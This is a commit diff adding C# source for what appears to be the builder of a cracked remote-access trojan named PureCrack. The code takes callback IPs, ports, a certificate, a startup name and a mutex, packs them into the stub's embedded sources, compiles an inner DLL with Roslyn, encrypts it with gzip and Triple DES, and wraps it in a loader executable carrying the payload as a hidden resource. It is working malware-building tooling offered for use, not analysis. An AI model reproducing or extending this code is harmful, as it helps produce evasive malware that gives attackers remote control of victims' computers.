initial commit
This commit is contained in:
@@ -0,0 +1,26 @@
|
||||
using System.Collections.Generic;
|
||||
|
||||
namespace PureCrack.Build;
|
||||
|
||||
public sealed class BuildConfig
|
||||
{
|
||||
public List<string> Ips { get; init; } = new List<string> { "127.0.0.1" };
|
||||
|
||||
public List<int> Ports { get; init; } = new List<int> { 56001 };
|
||||
|
||||
public string CertPfxBase64 { get; init; } = "";
|
||||
|
||||
public string Group { get; init; } = "Default";
|
||||
|
||||
public bool B0 { get; init; }
|
||||
|
||||
public bool B1 { get; init; }
|
||||
|
||||
public string StartupName { get; init; } = "";
|
||||
|
||||
public string StartupEnv { get; init; } = "";
|
||||
|
||||
public string Mutex { get; init; } = "purecrack-default";
|
||||
|
||||
public bool B2 { get; init; }
|
||||
}
|
||||
@@ -0,0 +1,70 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using PureCrack.Crypto;
|
||||
using PureCrack.Wire;
|
||||
|
||||
namespace PureCrack.Build;
|
||||
|
||||
public static class InnerProto
|
||||
{
|
||||
public const string Placeholder = "H4sIAAAAAAAACgMAAAAAAAAAAAA=";
|
||||
|
||||
public static byte[] EncodeGClass3(BuildConfig cfg)
|
||||
{
|
||||
List<byte[]> list = new List<byte[]>();
|
||||
foreach (string ip in cfg.Ips)
|
||||
{
|
||||
list.Add(ProtoNet.FString(1, ip));
|
||||
}
|
||||
foreach (int port in cfg.Ports)
|
||||
{
|
||||
list.Add(ProtoNet.FInt(2, port));
|
||||
}
|
||||
if (!string.IsNullOrEmpty(cfg.CertPfxBase64))
|
||||
{
|
||||
list.Add(ProtoNet.FString(3, cfg.CertPfxBase64));
|
||||
}
|
||||
if (!string.IsNullOrEmpty(cfg.Group))
|
||||
{
|
||||
list.Add(ProtoNet.FString(4, cfg.Group));
|
||||
}
|
||||
list.Add(ProtoNet.FBool(5, cfg.B0));
|
||||
list.Add(ProtoNet.FBool(6, cfg.B1));
|
||||
if (!string.IsNullOrEmpty(cfg.StartupName))
|
||||
{
|
||||
list.Add(ProtoNet.FString(7, cfg.StartupName));
|
||||
}
|
||||
if (!string.IsNullOrEmpty(cfg.StartupEnv))
|
||||
{
|
||||
list.Add(ProtoNet.FString(8, cfg.StartupEnv));
|
||||
}
|
||||
if (!string.IsNullOrEmpty(cfg.Mutex))
|
||||
{
|
||||
list.Add(ProtoNet.FString(9, cfg.Mutex));
|
||||
}
|
||||
list.Add(ProtoNet.FBool(10, cfg.B2));
|
||||
int num = 0;
|
||||
foreach (byte[] item in list)
|
||||
{
|
||||
num += item.Length;
|
||||
}
|
||||
byte[] array = new byte[num];
|
||||
int num2 = 0;
|
||||
foreach (byte[] item2 in list)
|
||||
{
|
||||
Buffer.BlockCopy(item2, 0, array, num2, item2.Length);
|
||||
num2 += item2.Length;
|
||||
}
|
||||
return array;
|
||||
}
|
||||
|
||||
public static byte[] WrapAsGClass2(byte[] gclass3Body)
|
||||
{
|
||||
return ProtoNet.FSub(38, gclass3Body);
|
||||
}
|
||||
|
||||
public static string EncodeAndPackage(BuildConfig cfg)
|
||||
{
|
||||
return Convert.ToBase64String(Symmetric.Gzip(WrapAsGClass2(EncodeGClass3(cfg))));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,137 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Collections.Immutable;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using Microsoft.CodeAnalysis;
|
||||
using Microsoft.CodeAnalysis.CSharp;
|
||||
using Microsoft.CodeAnalysis.Emit;
|
||||
using PureCrack.Crypto;
|
||||
using PureCrack.Util;
|
||||
|
||||
namespace PureCrack.Build;
|
||||
|
||||
public static class StubBuilder
|
||||
{
|
||||
public static byte[] Build(BuildConfig cfg)
|
||||
{
|
||||
Log.Section("build stub: ips=[" + string.Join(",", cfg.Ips) + "] ports=[" + string.Join(",", cfg.Ports) + "] group=" + cfg.Group + " mutex=" + cfg.Mutex);
|
||||
Stopwatch stopwatch = Stopwatch.StartNew();
|
||||
Log.Bullet("1/5 encode + wrap + gzip + base64 GClass3");
|
||||
string text = InnerProto.EncodeAndPackage(cfg);
|
||||
Log.Bullet($" config blob = {text.Length:N0} chars");
|
||||
Log.Bullet("2/5 stage 32 inner sources");
|
||||
IReadOnlyDictionary<string, string> sources = StageInnerSources(text);
|
||||
Log.Bullet("3/5 Roslyn → inner.dll");
|
||||
byte[] array = CompileInnerDll(sources);
|
||||
Log.Bullet($" inner.dll = {array.Length:N0}b");
|
||||
Log.Bullet("4/5 gzip + 3DES wrap");
|
||||
var (array2, inArray, inArray2) = EncryptInner(array);
|
||||
Log.Bullet($" encrypted = {array2.Length:N0}b");
|
||||
Log.Bullet("5/5 Roslyn → outer.exe");
|
||||
byte[] array3 = CompileOuterExe(EmbeddedAssets.LoaderTemplate.Replace("__KEY_B64__", Convert.ToBase64String(inArray)).Replace("__IV_B64__", Convert.ToBase64String(inArray2)), array2, EmbeddedAssets.ProtobufNetDll);
|
||||
Log.Ok($"build done in {stopwatch.Elapsed.TotalSeconds:F1}s — outer.exe = {array3.Length:N0}b");
|
||||
return array3;
|
||||
}
|
||||
|
||||
private static IReadOnlyDictionary<string, string> StageInnerSources(string configB64)
|
||||
{
|
||||
Dictionary<string, string> dictionary = EmbeddedAssets.InnerSources.ToDictionary<KeyValuePair<string, string>, string, string>((KeyValuePair<string, string> kv) => kv.Key, (KeyValuePair<string, string> kv) => kv.Value, StringComparer.OrdinalIgnoreCase);
|
||||
if (!dictionary.TryGetValue("Class9.cs", out var value))
|
||||
{
|
||||
throw new InvalidOperationException("Class9.cs missing from embedded inner sources — corrupted EXE?");
|
||||
}
|
||||
if (!value.Contains("H4sIAAAAAAAACgMAAAAAAAAAAAA="))
|
||||
{
|
||||
throw new InvalidOperationException("placeholder 'H4sIAAAAAAAACgMAAAAAAAAAAAA=' not found in Class9.cs — inner sources don't match expected v4.0.9596 layout");
|
||||
}
|
||||
dictionary["Class9.cs"] = value.Replace("H4sIAAAAAAAACgMAAAAAAAAAAAA=", configB64);
|
||||
return dictionary;
|
||||
}
|
||||
|
||||
private static (byte[] encrypted, byte[] key, byte[] iv) EncryptInner(byte[] innerDll)
|
||||
{
|
||||
byte[] array = Symmetric.Gzip(innerDll);
|
||||
byte[] array2 = new byte[4 + array.Length];
|
||||
array2[0] = (byte)(innerDll.Length & 0xFF);
|
||||
array2[1] = (byte)((innerDll.Length >> 8) & 0xFF);
|
||||
array2[2] = (byte)((innerDll.Length >> 16) & 0xFF);
|
||||
array2[3] = (byte)((innerDll.Length >> 24) & 0xFF);
|
||||
Buffer.BlockCopy(array, 0, array2, 4, array.Length);
|
||||
byte[] array3 = Symmetric.RandomBytes(24);
|
||||
byte[] array4 = Symmetric.RandomBytes(8);
|
||||
return (encrypted: Symmetric.TripleDesEncrypt(array2, array3, array4), key: array3, iv: array4);
|
||||
}
|
||||
|
||||
private static byte[] CompileInnerDll(IReadOnlyDictionary<string, string> sources)
|
||||
{
|
||||
//IL_0062: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0068: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0082: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0088: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00a2: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00a8: Expected O, but got Unknown
|
||||
List<SyntaxTree> list = (from kv in sources
|
||||
orderby kv.Key
|
||||
select CSharpSyntaxTree.ParseText(kv.Value, (CSharpParseOptions)null, kv.Key, (Encoding)null, default(CancellationToken))).ToList();
|
||||
List<MetadataReference> list2 = GetBclReferences().ToList();
|
||||
list2.Add((MetadataReference)(object)MetadataReference.CreateFromImage((IEnumerable<byte>)EmbeddedAssets.ProtobufNetDll, default(MetadataReferenceProperties), (DocumentationProvider)null, (string)null));
|
||||
CSharpCompilationOptions val = new CSharpCompilationOptions((OutputKind)2, false, (string)null, (string)null, (string)null, (IEnumerable<string>)null, (OptimizationLevel)1, false, true, (string)null, (string)null, default(ImmutableArray<byte>), (bool?)null, (Platform)1, (ReportDiagnostic)0, 0, (IEnumerable<KeyValuePair<string, ReportDiagnostic>>)null, true, true, (XmlReferenceResolver)null, (SourceReferenceResolver)null, (MetadataReferenceResolver)null, (AssemblyIdentityComparer)null, (StrongNameProvider)null, false, (MetadataImportOptions)0, (NullableContextOptions)0);
|
||||
return EmitOrThrow(CSharpCompilation.Create("inner", (IEnumerable<SyntaxTree>)list, (IEnumerable<MetadataReference>)list2, val), "inner.dll", null);
|
||||
}
|
||||
|
||||
private static byte[] CompileOuterExe(string loaderSource, byte[] encryptedInner, byte[] protobufNetDll)
|
||||
{
|
||||
//IL_0048: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_004e: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0068: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_006e: Expected O, but got Unknown
|
||||
//IL_00a0: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00a6: Expected O, but got Unknown
|
||||
//IL_00ba: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00c0: Expected O, but got Unknown
|
||||
SyntaxTree val = CSharpSyntaxTree.ParseText(loaderSource, (CSharpParseOptions)null, "Loader.cs", (Encoding)null, default(CancellationToken));
|
||||
List<MetadataReference> list = GetBclReferences().ToList();
|
||||
CSharpCompilationOptions val2 = new CSharpCompilationOptions((OutputKind)1, false, (string)null, "PCLoader", (string)null, (IEnumerable<string>)null, (OptimizationLevel)1, false, false, (string)null, (string)null, default(ImmutableArray<byte>), (bool?)null, (Platform)1, (ReportDiagnostic)0, 0, (IEnumerable<KeyValuePair<string, ReportDiagnostic>>)null, true, true, (XmlReferenceResolver)null, (SourceReferenceResolver)null, (MetadataReferenceResolver)null, (AssemblyIdentityComparer)null, (StrongNameProvider)null, false, (MetadataImportOptions)0, (NullableContextOptions)0);
|
||||
CSharpCompilation comp = CSharpCompilation.Create("Loader", (IEnumerable<SyntaxTree>)(object)new SyntaxTree[1] { val }, (IEnumerable<MetadataReference>)list, val2);
|
||||
ResourceDescription[] resources = (ResourceDescription[])(object)new ResourceDescription[2]
|
||||
{
|
||||
new ResourceDescription("PayloadSource.zip", (Func<Stream>)(() => new MemoryStream(encryptedInner)), false),
|
||||
new ResourceDescription("protobuf-net.dll", (Func<Stream>)(() => new MemoryStream(protobufNetDll)), false)
|
||||
};
|
||||
return EmitOrThrow(comp, "Loader.exe", resources);
|
||||
}
|
||||
|
||||
private static byte[] EmitOrThrow(CSharpCompilation comp, string label, IEnumerable<ResourceDescription>? resources)
|
||||
{
|
||||
//IL_0029: Unknown result type (might be due to invalid IL or missing references)
|
||||
using MemoryStream memoryStream = new MemoryStream();
|
||||
EmitResult val = ((Compilation)comp).Emit((Stream)memoryStream, (Stream)null, (Stream)null, (Stream)null, resources, (EmitOptions)null, (IMethodSymbol)null, (Stream)null, (IEnumerable<EmbeddedText>)null, (Stream)null, default(CancellationToken));
|
||||
if (!val.Success)
|
||||
{
|
||||
List<string> values = (from d in ImmutableArrayExtensions.Where<Diagnostic>(val.Diagnostics, (Func<Diagnostic, bool>)((Diagnostic d) => (int)d.Severity == 3)).Take(20)
|
||||
select ((object)d).ToString()).ToList();
|
||||
throw new InvalidOperationException("Roslyn failed compiling " + label + ":\n " + string.Join("\n ", values));
|
||||
}
|
||||
memoryStream.Position = 0L;
|
||||
return memoryStream.ToArray();
|
||||
}
|
||||
|
||||
private static IEnumerable<MetadataReference> GetBclReferences()
|
||||
{
|
||||
string bclPath = Path.GetDirectoryName(typeof(object).Assembly.Location) ?? throw new InvalidOperationException("can't resolve mscorlib directory");
|
||||
string[] array = new string[9] { "mscorlib.dll", "System.dll", "System.Core.dll", "System.Xml.dll", "System.Data.dll", "System.Management.dll", "System.Windows.Forms.dll", "System.Drawing.dll", "System.Runtime.Serialization.dll" };
|
||||
string[] array2 = array;
|
||||
foreach (string path in array2)
|
||||
{
|
||||
string text = Path.Combine(bclPath, path);
|
||||
if (File.Exists(text))
|
||||
{
|
||||
yield return (MetadataReference)(object)MetadataReference.CreateFromFile(text, default(MetadataReferenceProperties), (DocumentationProvider)null);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user